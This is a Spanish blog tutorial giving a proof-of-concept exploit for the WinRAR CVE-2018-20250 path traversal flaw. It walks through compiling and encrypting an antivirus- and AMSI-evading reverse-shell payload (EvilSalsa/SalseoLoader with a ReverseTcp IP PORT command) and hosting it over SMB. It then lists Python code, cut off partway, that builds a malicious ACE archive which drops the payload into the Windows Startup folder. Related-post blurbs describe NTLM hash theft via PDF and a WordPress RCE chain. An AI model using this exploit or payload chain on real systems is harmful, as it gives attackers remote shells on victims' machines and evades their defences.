· Manuel López Pérez · tutoriales  · 3 min read

Remote Code Execution WinRAR (CVE-2018-20250) POC

Buenas, hoy os traigo la “prueba de concepto” de una vulnerabilidad que se encontró hace unos días en WinRar. Esta vulnerabilidad lleva desde hace 19 años y ha sido parcheada en la versión 5.70 beta 1, así que si sois usuarios de WinRar es muy importante que actualicéis el software.

Básicamente, esta vulnerabilidad nos permitirá extraer ficheros maliciosos en el directorio que queramos. En research.checkpoint.com se describe en detalle así que nosotros nos limitaremos a demostrar cómo explotar la vulnerabilidad. Nuestro directorio objetivo va a ser el de inicio (aun que podéis elegir el que queráis) ya que cuando la victima reinicie el ordenador se ejecutará lo queramos. Yo he elegido usar Salsa Tools de @CyberVaca_ como binario malicioso ya que con él obtendremos una shell reversa (con algunas funcionalidades extra como bypassear el AMSI) sin que el antivirus lo detecte.

Fases:

  • Crear el binario malicioso.
  • Crear el fichero ACE.
  • La victima reinicie el ordenador

Creando el binario

Como dije antes, vamos a usar las Salsa-tools: Primero tenemos que compilar la librería EvilSalsa.dll (abrirla con Visual Studio y darle a compilar) y encriptarla con el EncrypterAssembly:

python encrypterassembly.py EvilSalsa.dll CONTRASEÑA evil.txt

Lo siguiente es compilar el SalseoLoader (yo lo he modificado para que obtenga los parámetros a partir de un fichero de texto llamado args.txt): Decidí ‘hostear’ el evil.txt (obtenido tras encriptar EvilSalsa.dll) a través de SMBServer pero hay otras opciones.

SalseoLoader.exe CONTRASEÑA evil.txt ReverseTcp IP PUERTO

Creando el fichero ACE - Método 1

Usando el siguiente script podremos crear facilmente un ace que contenta los ficheros que deseemos: https://github.com/manulqwerty/Evil-WinRAR-Gen [python] #!/usr/bin/env python3 import acefile import argparse import binascii import struct import os

class color: PURPLE = ‘\033[95m’ CYAN = ‘\033[96m’ DARKCYAN = ‘\033[36m’ BLUE = ‘\033[94m’ GREEN = ‘\033[92m’ YELLOW = ‘\033[93m’ RED = ‘\033[91m’ BOLD = ‘\033[1m’ UNDERLINE = ‘\033[4m’ END = ‘\033[0m’ def getArgs(): parser = argparse.ArgumentParser(description=‘Evil WinRAR Archive Generator (CVE-2018-20250) - Target: WinRAR < 5.70 beta 1\nBy @manulqwerty - ironhackers.es’) parser.add_argument(‘-o’,dest=‘filename’,type=str,help=‘Output filename - Default: evil.rar’,default=‘evil.rar’) parser.add_argument(‘-e’,metavar=‘evil_file’,nargs=’+’, dest=‘evil’,type=str,help=‘Evil files’,required=True) parser.add_argument(‘-g’,metavar=‘good_file’,nargs=’+’, dest=‘good’,type=str,help=‘Good files’,required=False) parser.add_argument(‘-p’,dest=‘path’,type=str,help=‘Path to uncompress the evil files - Default: C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\evil.exe’,default=‘C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\\’) return parser.parse_args() def printHeader(): print(color.BOLD + color.GREEN + ''' _ _ __ ___ ___ _ ___ _____ () | \ \ / () _ | _ \ /\ | _ \\ / -) V / | | \ \/\/ /| | ’ \| / / _ \| / \__|\/||| \/\/ ||||||\// \\|_\\''' + color.END + color.RED + '''\n\n by @manulqwerty\n\n''' + color.BLUE + color.BOLD + '''----------------------------------------------------------------------\n''' + color.END) def writeShellcode(shellcode,filename): with open(filename , ‘wb+’) as f: f.write(binascii.unhexlify(shellcode)) def addShellcode(shellcode,filename): with open(filename , ‘ab+’) as f: f.write(binascii.unhexlify(shellcode)) def readShellcode(filename): with open (filename , ‘rb’) as f: return binascii.hexlify(f.read()).decode(‘utf-8’).upper() def hex2raw(hex_value,N): hex_value = hex_value.zfill(N) return ”.join([hex_value[x-1:x+1] for x in range(len(hex_value)-1,0,-2)]).ljust(N,‘0’) def buildShellcode(filename , path=”): if path == ”: path = filename hdr_crc_raw = ‘6789’ hdr_size_raw = hex(len(path)+31)[2:] hdr_size_raw = hex2raw(hdr_size_raw,4) packsize_raw = hex(os.path.getsize(filename))[2:] packsize_raw = hex2raw(packsize_raw,8) origsize_raw = packsize_raw with open(filename,‘rb’) as f: crc32_raw = hex(acefile.ace_crc32(f.read()))[2:] crc32_raw = hex2raw(crc32_raw,8) filename_len_raw = hex(len(path))[2:] filename_len_raw = hex2raw(filename_len_raw,4) filename_raw = "".join(”{:x}“.format(ord(c)) for c in path) shellcode = hdr_crc_raw + hdr_size_raw + “010180” + packsize_raw \ + origsize_raw + “63B0554E20000000” + crc32_raw + “00030A005445”\ + filename_len_raw + filename_raw + “01020304050607080910A1A2A3A4A5A6A7A8A9” return shellcode def str2bytes(str_input): return binascii.a2b_hex(str_input.upper()) def calCRC(shellcode): buf = str2bytes(shellcode)

Back to Blog

Related Posts

View All Posts »
Remote Code Execution WinRAR (CVE-2018-20250) POC

Remote Code Execution WinRAR (CVE-2018-20250) POC

Proof of Concept (PoC) for the WinRAR CVE-2018-20250 vulnerability, allowing remote code execution by extracting malicious files to arbitrary directories. Step-by-step guide to create a malicious ACE file that executes a payload on system startup.

WordPress 5.1 CSRF + XSS + RCE - PoC

WordPress 5.1 CSRF + XSS + RCE - PoC

Step-by-step explanation and PoC of the chain of vulnerabilities in WordPress 5.1 (patched in 5.1.1): CSRF in comments → Stored XSS via wp_kses bypass → RCE by editing plugin as administrator. Requires victim interaction (visiting malicious page).

WordPress 5.1 CSRF + XSS + RCE - PoC

WordPress 5.1 CSRF + XSS + RCE - PoC

Explicación paso a paso y PoC de la cadena de vulnerabilidades en WordPress 5.1 (parcheada en 5.1.1): CSRF en comentarios → XSS Stored vía bypass de wp_kses → RCE mediante edición de plugin como administrador. Requiere interacción de la víctima (visitar página maliciosa).

Stealing Windows NTLM Hashes with a Malicious PDF

Stealing Windows NTLM Hashes with a Malicious PDF

Practical guide to generating a malicious PDF that, when opened in Windows, forces NTLM authentication and captures the NET-NTLMv2 hash. Includes generation with modern tools, cracking with hashcat, and use of psexec. Updated with best practices and current alternatives.